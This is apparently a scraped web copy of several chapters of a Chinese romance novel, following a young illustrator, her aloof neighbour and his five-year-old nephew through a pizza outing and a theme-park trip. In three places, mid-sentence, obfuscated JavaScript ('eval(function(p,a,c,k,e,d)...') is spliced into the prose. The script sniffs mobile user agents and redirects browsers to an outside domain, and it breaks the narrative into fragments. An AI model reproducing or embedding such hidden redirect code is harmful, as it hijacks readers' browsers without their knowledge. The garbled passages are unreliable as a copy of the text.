“啊！”一个喷嚏打出来，许愿获得了短暂的呼吸自由，长叹一声，“我哪能想到这天这么阴晴不定，昨天白天还大太阳呢，晚上就下大雨，这不淋了雨嘛。” 一句话还没说完，他鼻子就又堵上了。 “那你吃药了吗？”迟了了问。 “刚吃了，还没起效，希望睡一觉能好吧。” 迟了了闻言赶紧催他：“那就别聊了，赶紧睡去吧，明天要是还不好就去看看医生，知道吗？” “得了吧，”许愿摆摆手，话里带着浓重的鼻音，“这边医生指望不上，只能靠药物和硬扛。唉，每当这时候就格外想念咱们祖国母亲。” 迟了了：“……” 一时间，她也没什么好说的了，只能叮嘱：“赶紧去睡吧，不行就狂灌热水，热水总能烧的吧？” “能——”许愿拖着嗓子道，“你也当心点，洗完头记得吹干，小心头痛啊。” “知道知道，”迟了了连声答应，抬手就要挂断电话，“拜拜！” “哎哎对了——”突然许愿又想起一件事，忙喊住她，“楼下那租客，来了有一个月了吧，你们后来又打过交道吗？” 呃，迟了了正要挂断的手指一顿，一双眼睛眨了眨，眼珠子一顿乱瞟：“……没，没打过交道啊，就，见了几面。” “没说什么话吧？” “没——”迟了了刚想说“没有”，又觉得太假，连忙改口，“就问候了一下，怎么，问候都不行啊？” “行！”许愿点点头，“没多说话就行，保持距离，啊？” “知道了知道了，拜拜，赶紧睡去吧你！”说完她不再给许愿机会，手指一送就把电话挂了。 看着归于安静的手机，迟了了抿着嘴唇，无辜地眨眨眼…… 想起昨晚的拼图，迟了了没再耽搁，快速收拾好就去换衣服。 和她那些画画的同学不一样，迟了了虽然平时看起来随意不讲究，但得益于从小受到的教育，即便是自己一个人住，即便各种乱七八糟的东西很多，她也一向归置得井井有条。故而虽然衣柜里衣服挂得满满当当，却也整整齐齐，错落有致。 来来回回找了好一阵子，她最终选定了一件宽松的黑色emoji亮片T恤。 换好衣服站在镜子前，她看着镜子里自己胸前呲着八颗牙齿的黄色大圆脸，歪歪头，也扯出个一模一样的笑。 “嘻！” 而后，她扯直前襟，一个抬手利落地将大黄脸从下到上抹过，眨眼间，上一秒乐呵呵的大黄脸就变成了哭唧唧的大黄脸，下弯的两只眼睛下，还挂着两条粗面条泪，而迟了了的表情也随之垮了下来，露出一副情真意切的伤心样。 “呜——” “完美！”她打了个响指，满意极了。 这衣服正适合今天的行程：如果周默重拼拼图成功了，那她就给他显示笑脸；反之，如果失败了，那她就以哭脸向他表示遗憾。 多么的随机应变、哭笑自如！ 周道得她都想给自己点个赞！ 等收拾妥当，她就下楼了。 然而，让她没有想到的是，刚进801的门，她就看到袁周率小朋友正抱着拼图在地上走迷宫。 没等她反应过来发生了什么，小家伙就兴奋地跑了过来，牵着她的手一边往里走一边说：“三三姐姐，你来晚了，舅舅已经把拼图拼好啦！” 迟了了顿时目瞪口呆。 “这么快？！” 同时低头看向胸前的emoji——哭脸。 她赶紧挣开小家伙的手，哗啦一下在胸前扫过：嗯……为你开心！ 这番动作被沙发上坐着的周默尽收眼底，他看了眼这可以一秒变脸的奇怪衣服，意味深长地挑了挑眉：“这有什么难的。” 嗯…… 迟了了对上他略显桀骜的神色，黑亮的眼珠一转，比了个手势：“6！” ……真是可惜了，原本还想见证一下他焦头烂额的窘态呢。 不过再看袁周率小朋友，经此一役，在前几天的矛盾中小家伙对这个舅舅几乎消磨殆尽的孺慕之情又生了出来，此时此刻，他看着周默的眼神里都亮着星星。 再看周默。 嗯……仍是那副不屑搭理的模样。 迟了了想了想，提议：“那咱们今天中午出去吃吧！庆祝一下！” 小家伙一听，立马跳起来：“好耶，我要吃披萨！” 周默稍作思量，觉得也好，庆不庆祝的另说，刚拼了一上午的拼图，他确实懒得再做午饭了。 于是三人收拾收拾，出门下楼。 - 翠湖里附近，就有一个大型商场，里面衣食住行、娱乐设施一应俱全，附近的居民逛街购物、吃饭约会都会来这儿，故而一到周末，就人满为患。 三人混在人群中上了电梯，刚走到一半，小胖墩就被商场中厅的一个跨层游乐场吸引住了。 这游乐场很大，玩乐项目也五花八门，管道迷宫、海洋球池、充气滑梯，还有攀岩、跳窗……别说小朋友，就连迟了了也看得起劲。 可没看一会儿，她就默默退回来了。 周默原本站在后面等两人，见她回来还以为她是看过瘾了，可转而就听到一串几不可闻的咕噜声，夹杂在商场嘈杂的人声中传入耳中。 周默愣了一愣，想起什么，转头向旁边看去。 迟了了正揉着空空如也的肚子嘀咕着什么，一抬头猝不及防对上周默的目光，先是怔了一下，随即明白过来，有些尴尬地朝他咧嘴一笑。 “嘻——” 不好意思啊，她没吃早饭，现在是真饿了。 而周默看着这笑，心里想的却是： 别说，除了肤色不同，跟她身上的大圆脸还挺像。 “3.14，走了，去吃饭。”他回过头，喊趴在护栏上看得正起劲的小家伙。 然而小家伙正看得津津有味，对于他的催促全然充耳不闻。 周默又喊了他一声，这次小家伙听到了，却依旧恋恋不舍，慢吞吞地从护栏边离开，一步三回头地往前走。 周默终于失去耐心，一个大步上前，在迟了了和小家伙都没有反应过来的时候，俯身双手叉起小家伙腋下，直接将他凌空架起，往前走去。 毫无防备的小家伙吓了一跳，反应过来后一路挣扎着吱哇乱叫。 然而周默丝毫不为所动，直到将他移出了游乐场的可视范围才放下来。 迟了了跟在后面看着这一幕，先是愣了几秒，紧接着便小跑跟上，同时挥着手臂为周默加油助威！ …… 一路闹腾，三人终于来到披萨店。 坐上桌子，周默拿过旁边的一沓菜单，递给迟了了让她和袁周率点单。 迟了了接过来，将两张塑了膜的套餐单页顺手放在一旁，直接翻开了主菜单。 袁周率跟她挨着坐，正是喜欢模仿大人说话做事的时候，见状也小大人似的拿过那两张单页，认真琢磨起来。 这一琢磨，小家伙呆住了—— 只见一张单页明晃晃地写了两行大字：夏日亲子套餐，超值欢乐上线。 字下面是一堆丰盛的披萨、薯条、冰淇淋和饮料，而更吸引他的，则是旁边那个超大的玩具礼盒！ 哇—— 小家伙顿时看直了眼！ 就在这时，一个女服务员从前面走了过来，手里还抱着一个半米长的玩具箱子——跟菜单上的一模一样。 袁周率精神一振，眼睛一眨不眨地紧紧盯着她，直到看着她越走越近、来到自己的座位旁……然后走过去，将玩具交给了后面桌子上的一个小朋友。 欢呼声立刻从那边传了过来。 “我要这个！” 迟了了刚挑好几个选项，举起菜单正要问问舅甥俩的意见，便听到小家伙大喊一声。 扭头看去，才发现小家伙不知什么时候已经爬上了座椅，此时正扒着椅背，兴冲冲地举着手里的单页。 周默显然一直留意着小家伙的动静，闻言淡淡扫了他手中的单页，说了句：“不符合条件。” 什么不符合条件？ 迟了了更奇怪了，从小家伙手里接过那张菜单，一看才恍然大悟：菜单上那两行大字底下，还有一行小字—— *父母双方携12岁（含12岁）以下儿童进店，购买亲子套餐，即送超值玩具礼盒！ 真是奇怪，迟了了心想，别家亲子套餐都是大人带着孩子就能吃，这个怎么还要求非得是父母呢？还得是双方？ 她也看向隔壁桌。 那边，刚得了玩具的小朋友正在爸爸妈妈和长辈的注目下拆玩具，全桌人都是一副翘首以盼的样子。 再看旁边—— 翘首以盼的何止是隔壁桌。 听到周默说“不符合条件”，小家伙顿时满脸沮丧，再次扒上椅背，眼巴巴地看着后面哪家——这可真是活生生的“隔壁小孩都馋哭了”。 不过…… 迟了了眼睛一转，来了主意。 她先是悄悄看了眼周围，确认附近只有一个女服务员， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818853|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是看着反方向的，然后迅速抬手，从脖子里解下了一条项链。 那是一根金色水波纹细链子，上面挂着一枚交错的金质环形吊坠，看起来像是特别设计的缠绕状。 周默看到她这番动作，正奇怪她想干什么，紧接着，就见她从链子上取了那枚环形吊坠，然后双指一捏又一掰，一枚交错缠绕的环形吊坠竟瞬间被拆成了两个单独的莫比乌斯环。 看起来，很像是两枚戒指。 “周默，给！”她把其中一枚大点的从桌子底下递过去，悄咪咪地说。 周默一头雾水地接过来，没看懂她是要做什么。 只见迟了了又伸出左手，从食指到小拇指逐一数过，过程中嘴里还低声念叨着“清、热、解、毒”，疏导最后，她抬起头，小声地说：“戴到左手无名指上。” 周默顿时：“？” “快戴呀，”见他没动，迟了了又催促道，一边还举起自己的左手，“像我这样！” 周默看着她手上无名指上的那枚看起来跟戒指别无二致的莫比乌斯环，对于她要做什么，心里隐隐有了猜测，却不禁皱起眉头。 眼看那个服务员就要转身朝这边走过来了，迟了了赶紧又催了句：“快快快！！！”然后抢先伸手招呼，“你好——” 周默：“……” “你好，请问需要点餐吗？”服务员来到桌前，微笑询问。 “是的，我们想点这个！”迟了了伸出左手，指着菜单上那份亲子套餐，脸不红心不跳地说。 服务员一愣，扫了三人一眼。 看到周默时，她目光明显亮了下，随后又在迟了了和袁周率身上多走了两圈，像是怀疑这两人的母子关系。 迟了了装作不经意地将左手伸开，完全露出无名指上那枚“金戒指”，再次点了点那幅图，转头问一旁的袁周率，“儿子，是这个吧？” 小家伙一双眼睛还紧紧地粘在后面那桌的玩具上，被迟了了扯了扯袖子才回过神来。 “没错，我就要这个！”他抱着迟了了的胳膊，双眼直放光。 这下服务员有些动摇了，再看对面的男人，手上也戴着同款戒指。 算了，管他呢！ 服务员心里一恼，发出今天的第N遍吐槽：总公司这活动办得真是莫名其妙，还规定非得“父母双方”，她就一服务员，怎么确定人家是不是父母双方，难道还能检查客人的结婚证、户口本和出生证明不成？ “好的，”抱着破罐子破摔的心态，服务员和煦地笑着，在手中的点单器上下单，“请问还需要别的什么吗？” 迟了了和周默对视一眼，摇摇头：“不用了，就这些吧，谢谢！” “好的，已经为您下单了，请您稍等片刻。”服务员说着，转身准备离开。 突然，周默又想到什么，开口叫住她：“等一下，请问你们的披萨，用的是什么油？” 服务员虽然不太明白，但还是笑着回答：“您好，我们用的是葵花籽油。” 他点点头，没再说什么。 一等服务员离开，周默就要摘下那枚“戒指”。 迟了了见状赶紧按住他的手：“哎哎，等等，吃完饭出去再摘呀！骗都骗了，这时候要是露馅不是更尴尬？” 周默抬眼对上她的目光，不说话。 迟了了嘿嘿一笑，转移话题：“你为什么问用什么油呀？是有什么不好吗？” 见识了周默的厨艺之后，她下意识觉得他问这个问题，肯定是有什么讲究。比如什么油不适合做披萨，或者什么油不健康，之类的。 但周默只是轻轻抽回手，淡淡地答了句：“没什么，我玉米过敏。” “啊？” 迟了了愣住，眨了眨眼，随之豁然开朗：难怪他做的饭里从来没出现过玉米呢！ …… 不一会儿，服务员送来了袁周率心心念念的玩具礼盒，小家伙在周围食客投来的目光中开心地接过来，立马拆开玩了起来。 周默看着那正在桌子上来回滑行的黑色直升机，还是有些怀疑人生。 “至于吗？”他问。 “哎呀，有什么至于不至于的，出门在外，身份都是自己给的，再说了，你也不吃亏好吧！”迟了了晃着脑袋，笑眯眯道，“而且咱们这也算给他们活动冲业绩了，人家说不定还得感谢咱们呢！” “……” 周默皱眉看着她，心想：这人到底是怎样的不按套路出牌啊…… 这时，迟了了又凑过来，端详他的左手：“还好你手指跟我爸差不多粗，不然还真戴不了呢。” 周默一怔，低头看向自己的手。 “这真是戒指？” “当然，这可是我爸妈的结婚戒指呢！”迟了了说。 周默顿时更加无语了。 而直到很久之后，他才意识到，眼前的这个女生将父母的结婚戒指贴身戴在身上，到底意味着什么。 26. 双面间谍 吃完披萨后，迟了了和周默在回去的路上还是带袁周率小朋友去了趟游乐场。 虽然不喜欢商场里的人山人海、人声鼎沸，但或许是前一天迟了了那句“甩手掌柜”起了效果，即便十分不耐，周默还是压着脾气，在旁边等着两人在里面玩耍。 只是没过多久，便陆陆续续来了好几个女生找他搭讪要微信，他终于忍无可忍，喊上两人回了家。 迟了了带娃的第一周，就这么过去了。 之后的日子里，她照旧在周默去公司的下午接袁周率放学，并陪他玩几个小时，顺便蹭个饭，然后上楼画画。 而周默的食谱在她的挖掘下不断有新的发现。 有一次她实在忍不住了，好奇地问他是从哪里学来的这么多菜。 周默的回答是：在国外时学的。 这个答案让她顿时埋怨起同样去国外留学并且至今还在国外待着的许愿。 同样是留学，同样是高材生，为什么人家就能学业厨艺两手抓，而许愿这家伙却至今还只会个番茄炒蛋！ 听到自己被用来拉踩别人，被踩的还是自己的房东，周默看了她一眼，没有接话。 毕竟他也无法想象，一个智商能考上JHU的人却学不会做饭，是个什么道理？ 以及如果不会做中餐，他在国外怎么能生存这么多年？ 正在大洋彼岸的实验室里昏天黑地做实验码论文的许愿恐怕永远也不会知道，自己的生存能力和生存质量，在这一刻受到了深深的双重质疑。 说回迟了了带孩子的事。 有了前几天的磨合，迟了了和袁周率的玩耍项目变得收敛了许多，不再每天在周默的雷点上蹦跶。 有时她会带着小家伙看绘本讲故事，这其中有她自己之前的作品，也有其他作者的；有时也会带小家伙捏橡皮泥、画画，还有做植物书签。 因为小胖墩总对之前那次蜘蛛侠彩绘念念不忘，而周默又对此十分抵触，于是迟了了换了个方式——在手指头上画。 她给两人的每根手指都画上不同的动物和卡通形象，两只手就有十个，两双手就有二十个，两个人便用这二十个角色玩起了cosplay，叽叽喳喳，乒铃乓啷，你方唱罢我登场，好不热闹。 当然，也不能每天都在家里窝着，迟了了也常带袁周率出门。 902的张奶奶还是喜欢捯饬各种甜品面点，迟了了便带着小家伙去串门，今天给老人家打个下手，明天给老人家捶背捏脚，小家伙又一口一个“奶奶”喊得殷勤，一老一小玩得很是投缘。 和小家伙投缘的可不止902奶奶，还有楼下那只“花花”。 说起这个，迟了了就愤愤不平！ 她投喂了这么久，这猫都还对自己爱答不理的，可没承想，到袁周率这儿它就完全放下了架子。 小家伙不过喂了它几次，它就开始每天下午在他放学的时候蹲在小区门口迎接，有时候小家伙没看到它，它还会主动叫几声，刷刷存在感。 这么明显的差别对待可把迟了了气得不轻！ 不过可惜的是，当迟了了问小家伙要不要收养花花时，他拒绝了，因为小家伙的妈妈对猫毛过敏…… 除此之外，小区附近还有个公园，迟了了也带小家伙去玩过。 不过更多时候，两个人还是待在801。 周默晚饭后会在书桌后自己的区域内看书或者工作，迟了了就带着袁周率在客厅玩。 两边离得不远，客厅的两人有意识地放低声音，一半情况下，双方基本都能做到互不打扰，倒也十分和睦。 但另一半情况，则往往是迟了了和袁周率小朋友又闯了什么祸，需要周默帮忙收拾烂摊子。而在周默收拾的时候，两人就像两只老实巴交的土拨鼠一样，乖巧地站在一旁，一起承受他足有零下十来度的脸色和眼风。 不过迟了了从来不是那种逆来顺受的性子，挨了周默的脾气总要讨回来的。 转头她就会暗戳戳地伙同小胖墩一起，对周默实施恶作剧。 譬如将他夹在书里的书签换个位置、把他的拖鞋从惯放的位置挪到别处、在他刚洗好的衣服口袋里放软体胶…… 碍于那一直没有摸透的“边界感”，她不敢太放肆，只能搞些无伤大雅又能添点小麻烦的整蛊。不然的话，她还能往他牙膏里放芥末、在他眼镜上涂胶水、往他杯子里倒盐！ ——类似程度的，她以前不是没对许愿做过。 总之，日子就这么在三人时而岁月静好，时而鸡飞狗跳中一天天过去了…… - 这天一早，还不到8点，801的大门就被敲响了。 四声两组的敲门声带着毫不遮掩的雀跃，周默和袁周率对此早已熟悉。 “三三姐姐！”袁周率抢先过去开门，把迟了了迎进家里。 破天荒起了个大早的迟了了一进门连鞋都没换，拍拍身上的斜挎包就说：“我收拾好了！随时可以出发！” 周默正在收拾袁周率的小黄人书包，听到她的话一脸挣扎，不死心地又问了一遍： “我一定要跟着吗？” “当然，票都买了！”迟了了说，“再说了，你是舅舅，又长得人高马大的看起来都快两米了，万一我们被人欺负或者跟人发生冲突了，你就算什么都不说只往那一杵，对方的气势就能原地矮半截！” “人高马大”的周默无言以对：合着自己起到的是个镇场的作用？ …… 如果说周默这辈子最不喜欢的人是小孩儿，那么同理，他最不喜欢的地方就是小孩子聚集的地方，譬如幼儿园，譬如小区里的儿童游乐区、商场的游乐场，以及…… 他们今天要去的，游乐园。 事情的起因，还要从上周末说起。 这段时间，袁周率的作息越来越不健康，每天该睡觉的时候总要周默连催带训，该起床的时候又要三催四请，于是，周默让迟了了想个法子，给他纠正一下。 经过多番谈话之后，迟了了给出的建议是，两人打个赌。 打赌的内容，就是如果小家伙能坚持一个星期晚上到点就睡、早上不再赖床，周默就带他去游乐园。 周默毫不犹豫地就答应了。 开玩笑，以他对小屁孩的了解，他最多能坚持两天！ 不过这么根“胡萝卜”在前面吊着，自己也乐得轻松。 可他哪里知道，这个赌约从一开始就是迟了了和袁周率给他设下的一个套。 这事，还要追溯到吃披萨那天的时候。 因为周默毅然决定回家，小家伙在游乐场玩得很不过瘾。正好快到六一，市郊一家刚开业几个月的主题乐园推出了儿童节活动，广告打得铺天盖地，荔安几乎无人不知。小家伙一看就动了心，整天缠着迟了了说想去。 迟了了自然不好一个人擅自做主带他去，还得说服周默同行，猜到周默不会同意，她便想到了这招瞒天过海之计。 不仅如此，为了防止小家伙真的犯懒导致她两边的谋划都落空，每天晚上分开时，她都要跟小家伙悄悄话提醒一遍。 这“双面间谍”当得，迟了了觉得自己很称职了。 好在功夫不负有心人，一周之后，在AI界声名远播的Mo神，在跟一个5岁小孩的赌约中—— 输了。 就在周默后知后觉，开始怀疑起这场赌约的公正性的时候，迟了了以迅雷不及掩耳之势，先把游乐园的票给定了。 日子选的是个他不上班的工作日，为此，她还给袁周率请了一天假。 这下子，周默彻底明白过来了。 …… “谢谢哈，我没有两米。”周默继续负隅顽抗，言下之意：怕是当不得你这重托。 迟了了才懒得跟他抠字眼，浑不在意地摆摆手，转而揽住兴奋得一直在跟前打转的袁周率，捏了捏他胖嘟嘟的脸颊，笑着说：“那这么可爱的小圆子，你就不怕我把他拐出去卖了？” 周默冷冷一笑：“卖了也好，省得烦我。” “呜，拐卖小孩犯法！”袁周率小朋友早就等不及了，听两个大人还有闲心在这拿自己开玩笑，气呼呼地抗议，“舅舅你赶紧收拾东西！” 周默顿时气得发笑：“你个小屁孩，还命令上我了？” …… 东西收拾妥当，三人下楼上车。 黑色吉普丝滑启动，破开柔和的春风驶出小区大门，一路往主题乐园的方向驶去。 春末夏初，街道两侧的法国梧桐长得愈发茂密，足有成人手掌大小的叶子层层叠叠堆在枝头，密匝匝的，将川流不息的城市街道硬生生显出几分幽深静谧来。 势头渐盛的日光也不甘示弱，在梧桐叶的围追堵截下无孔不入，嚣张地在人行道上、柏油路面上、驶过的汽车车窗上烙下点点灼目的光斑。 光斑透过半开的车窗洒向后座，也落在后排正玩游戏的一大一小身上。 迟了了和袁周率在比赛猜谜语。 小家伙涉世未深，出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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转而又补充，“当然了，也不是所有小孩都可爱，但大多数都很可爱啊。” “可爱在哪儿？”为什么他只看到不可爱的地方。 “很多地方呀，比如大眼睛、小鼻子、肥嘟嘟的脸，说话声音奶声奶气的也很可爱，还有开心就咯咯地笑、不开心就发脾气——” “等等，发脾气也可爱？”这周默就不能理解了。 “哦，不是乱叫乱砸的那种发脾气，这种就需要耐心引导了，我说的是生闷气的时候，就那种小小的身子往墙角里一窝，跟个呆呆萌萌的小熊猫一样！” 周默想了下那个情形，还是Get不到她口中的可爱在哪。 “而且你不觉得吗？基本上所有生命，幼崽时期的可爱指数都大于长大后，比如小猫、小狗、小羊、猫头鹰，甚至是小蛇，人类当然也不例外。” 不好意思，没觉得。 不过他觉得此时此刻如果祝赫在，他会很赞同。 “还有啊，很多儿童心理学和育儿心理方面的书都提到过，小孩的很多特质也会正向地反作用于大人，对大人的心理压力和焦虑情绪，也有很好的治愈效果！” “治愈？”周默轻扯了下唇。 “治愈”他是没感受到，“致郁”倒是深有体会。 “真的，”迟了了见他不信，忙又说，“其实大人的心思很复杂，会跟自己较劲、跟别人较劲，会有各种欲望、会钻牛角尖，但小孩子就不一样了。 “他们还没有受到社会规则的训导，心思单纯，对什么都好奇，思考问题也简单直接，开心就笑、饿了就吃、难过就哭，喜欢就是喜欢，不喜欢就是不喜欢，从来不内耗。这一点，大人确实需要向他们学习！” 周默听着她把成年人的复杂矛盾和小孩的天真乐观做对比，慢慢地还真琢磨出一点东西，譬如这段时间除了工作，他就只顾着跟小屁孩做斗争，已经很久没失眠了。 可就在这时，迟了了又说了一句话，却让他脸色倏地一变。 “你不知道，对于一些心理疾病，有时候小孩子也可以作为一种间接的治疗手段呢！” 上一秒还似笑非笑的神色顿时一凝，眸中思绪几番浮沉之后，他脸色彻底冷了下来。 迟了了说完，扒着椅背等了一会儿，见周默没有说话，往后视镜看了一眼，又见他面无表情，只看着前方，以为他是又不想聊天了，不由失望地撇撇嘴，倚回了靠背上。 汽车拐了个弯，灿烂的阳光透过车窗明晃晃地打在她的身上。 周默车子开得极稳，没一会儿她就忍不住打了个哈欠，然后慢慢闭上了眼睛…… 27. 来都来了 汽车沿着外环高架一路行驶，走了半个多小时才终于下来。 又走了一段路，当街道两侧的垃圾桶开始变成一个个可爱的卡通形象时，远处一个巨大的粉蓝色城堡也映入眼帘。 又过了一会儿，黑色吉普在宽阔的停车场缓缓停下。 周默往后视镜里看了一眼，动了动唇，有些犹豫该如何叫醒两个睡得东倒西歪的人。 就在这时，“咚”的一下，他突然感觉椅背被人踹了一脚！ “呀！” 下一秒，始作俑者瞬间清醒过来，一骨碌坐起来，仓皇地四下张望！ 而当对上后视镜里周默毫无波澜的目光，她视线又猛地一顿，黑亮茫然的眼睛眨了眨，渐渐恢复清明。 然后，她咧开嘴，朝周默露出一个心虚的笑。 真是不好意思，她昨天睡得晚，今天起这么早，实在没挺住……还说要陪他聊天来着。 正要说些什么缓解一下气氛，一旁睡了一路的袁周率突然也动了一下，醒了过来。 “哇！——”他一睁眼，就看到窗外的粉蓝色城堡，一声长长的惊叹压下迟了了的欲言又止。 - 世界上恐怕没有几个小孩子能抵挡游乐园的魔力，迟了了这个大孩子也不例外。 一进园，她和袁周率就玩疯了。 因是开业不久，又恰逢六一活动，游乐园打出了“大小朋友齐欢乐”的口号，整个园区可说是人头攒动。 而因为袁周率的身高和年龄受限，游乐园里许多危险刺激的项目都不能玩，不过也算塞翁失马，剩下他们能玩的人都不算多，再加上走快速通道，基本不用怎么排队。 但即使是这些项目，也够他们玩个过瘾了，不一会儿两人便闹得满头大汗，兴奋得连嗓子都快喊哑了。 因为心里想着事情，且对这些幼稚的游戏项目嗤之以鼻，加之园区内游客此起彼伏的尖叫声吵得他耳朵疼，周默全程只待在游乐区外围，担任没有感情的拎包工具，并负责拍照。 后者是袁月得知三人今天要来游乐园后，连夜提出的要求。 转眼到了中午。 玩疯了的一大一小从摇摆屋上下来，还没适应地面的平稳，走向周默的步子跟喝醉了酒似的。左摇右晃。可即便如此，两人还是“坚强”地互相搀扶着、呵呵傻笑着走了过来。 周默眼看着两人七拐八扭地走了半晌终于来到近前，却又在距离自己不到三米的地方突然打了个弯，往旁边的树上撞去，终于忍无可忍。 他上前一把拉住迟了了的胳膊，将两人一并拽了过来。 “哈哈周默，谢谢你！”迟了了站在他面前，仰起头，又晃晃脑袋，努力将他看清。 可努力了好几次也没成功，她只好先闭上眼睛，抱着头就地一蹲： “好晕啊——” “好晕啊——”袁周率跟复读机似的也跟着她蹲下。 周默看着跟前两颗“蘑菇”，一阵无语。 就这么蹲了一会儿，迟了了感觉自己总算缓过来了，才再次仰头看向旁边。 好高啊！ 她忍不住惊叹。 虽然一直都知道周默个子高，可这么一看，感觉更高了，跟棵顶天立地的大松树似的。 正感慨着，“大松树”突然低下头，对上她的视线，目光里是已经懒得掩饰的无奈。 转而“大树”又看向另一棵“蘑菇”：“休息好了吗？” “好了好了！”迟了了拉着袁周率站起来，跺跺脚。 “时间不早了，该吃午饭了。”趁着两人没来得及冲向下一个游乐项目，周默赶紧把午饭提上日程。 迟了了被他这一提醒，也摸了摸肚子，还真有点饿，于是看向袁周率：“小圆子，你想吃什么？我请客！” “我要吃汉堡、炸鸡、薯条、冰淇淋！”或许是一上午的兴奋让小家伙有些忘乎所以，他一股脑地点了一堆平日里妈妈和舅舅都不让他吃的东西。 说完才开始后知后觉，又小心翼翼看了周默一眼，“舅舅，我可以吃这些吗？” 周默：“……可以。” 迟了了、袁周率默契地击了个掌：“YES！！！” - 游乐园餐厅里，迟了了一手拿着一支冰淇淋甜筒，带着身后边走边舔的袁周率，穿过一个个游客，往靠窗边的一个小圆桌走去。 来到桌前，她将其中一支冰淇淋递给周默，语气爽快：“给，我请你的！” 周默看着眼前的冰淇淋，再配上她刚刚的口吻，莫名感觉两人像是在……交接火炬。 “拿着呀，别客气！再不吃都要化了。”迟了了见他不动，催促道。 “舅舅不吃，我可以吃吗？”身后跟来的袁周率小朋友虎视眈眈地问。 正想拒绝的周默一听，立马伸手接过来，冷冷看他一眼：“谁说我不吃？” 小家伙失望地哼了一声。 迟了了满意地笑笑，在椅子上坐下，拿起一个汉堡，剥开包装纸吃起来。 …… 这天可以算是袁周率小朋友今年以来玩得最开心的一天了！ 吃完冰淇淋，他又迫不及待地吃薯条，一双小胖手不太灵活，总是一不小心就把番茄酱搞得满脸满手都是。 迟了了一边笑话他是花脸猫，一边拿纸巾给他擦干净，周默虽然对此表示很嫌弃，但在旁边看着，也不得不佩服她的耐心。 这时，旁边座位上的客人吃完离开，几个看起来像是大学生的男生女生立刻拥了上来。 “哈哈哈你们没听到，刚刚老李被吓得都叫妈妈了！”其中一个男生刚入座就兴冲冲地嚷嚷起来，“我耳朵都快被他喊聋了！” “我才没有！”另一个男生立刻反驳，“明明是你！喊得都破音了，那嗓子劈叉劈的，跟驴似的！” 前一个男生听他这么形容自己，顿时恼羞成怒，一把上前抱住他的脖子，两人就这么玩闹起来。 同行的一群人也哈哈大笑起来。 而就在几人打闹的同时，旁边的迟了了听着，耳朵也渐渐竖了起来。 终于，在她忍不住第四次凑过去听的时候，周默开口了。 “怎么，刚刚没玩尽兴？” 迟了了唰地看向他，大大的眼睛转了转，又瞄了眼旁边正埋头啃鸡翅的袁周率小朋友，悄悄点了点头。 “其实，我想去玩那个，”她压低声音朝窗外指了指，然后换个方向，“还有那个，”接着又换个方向，“还有那个！” 周默顺着她的目光一一看去。 外面阳光炙热，人来人往，绿树交叠，可这些都没能挡住她说的那几个方向上引人注目的高大设施：大摆锤、跳楼机，以及过山车。 来不及震惊，便又听迟了了说：“不过那边要求一米四以上。” 不像这边，都是小儿科。 周默一怔，等反应过来她和自己一样觉得无聊，突然就有些想笑。 不过…… “你来过这儿？”一上午，三人游玩几乎都是她在做向导，哪个项目排队少、哪个演出几点开场、哪个吉祥物在哪里打卡，她都如数家珍，现在更是连那几个高刺激游戏的身高限制都一清二楚。 “当然！”迟了了扬起眉，得意的小表情压都压不住，“二月份刚开业的时候我就来了！不算这次，也就来了……四五六次吧！我还有这里的年卡会员呢！” 四个月时间，来了四五六次…… 周默心中暗暗惊讶，旁边满头啃炸鸡的袁周率也“哇”的一声抬起头，两眼放光地看着迟了了，连头发丝儿都挂着“羡慕”两个字。 这反应倒让迟了了纳闷了。 “怎么，你们没来过？” 这游乐园在本地热度很高，她还以为本地人都来玩过了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而随着巨大的摩天轮缓缓转动，三人坐的轿厢一点点离开地面，靠近天空，小家伙也慢慢老实了下来。 到半空时，他开始有点紧张了，胖嘟嘟的小脸上血色渐渐褪去，嘴巴绷成了一条直线，抱着迟了了胳膊的手也越抓越紧。 迟了了时刻留意着他的动静，见状将他揽入怀里，轻声安抚：“别往下看，你看远的地方，看那个房子，你看它的形状像不像个贝壳？还有天上的那片云，像不像奥特曼？” 小家伙深吸一口气，鼓起勇气去看她说的地方。 周默也抬眼看过去。 这招果然见效，小家伙很快就好了许多，不一会儿就又趴在玻璃上兴奋地看着窗外，一会儿指着这个，说像个鸡腿，一会儿指着那个，说像个弓箭，不时还能鼓起勇气低头看上一眼，跟迟了了指着说这个是他们刚刚玩过的什么项目，那边是他们没玩的什么项目。 …… 好像没多久，摩天轮便升到了顶部，然后开始缓缓下降。 回到地面时，周默先一步推开轿厢门跳了出来。 而或许是在空中转了一圈反倒不适应地面的引力，双脚落地的一瞬间，他一条腿忽然软了一下。 好在他个子高，现场人又多，倒也没几个人注意到这一幕。 ……除了迟了了。 她扶着袁周率紧跟在他后面跳下来，双脚落地的瞬间不经意一抬眼，不早不晚，正巧看到那一刹间，周默膝盖不自然的弯曲。 “周默，你不会，也恐高吧？”想到某种可能，她试探着问了句。 她刚刚都没有留意到，不然肯定也会安慰安慰他的。 28. 口嫌体正 周默刚刚站直身子，被她这一问，后背忽地一僵。 顿了顿，他回过头，以一种“你在开什么玩笑”的眼神看了她一眼，又转过身去，淡淡说了句：“你看错了。” 说罢，迈开一双长腿就往前走，动作行云流水，步履坚定从容，仿佛刚刚真的是迟了了看错了。 然而…… 迟了了一愣，随即偷偷笑了：她都没说看到什么呢，这算不打自招吗？ 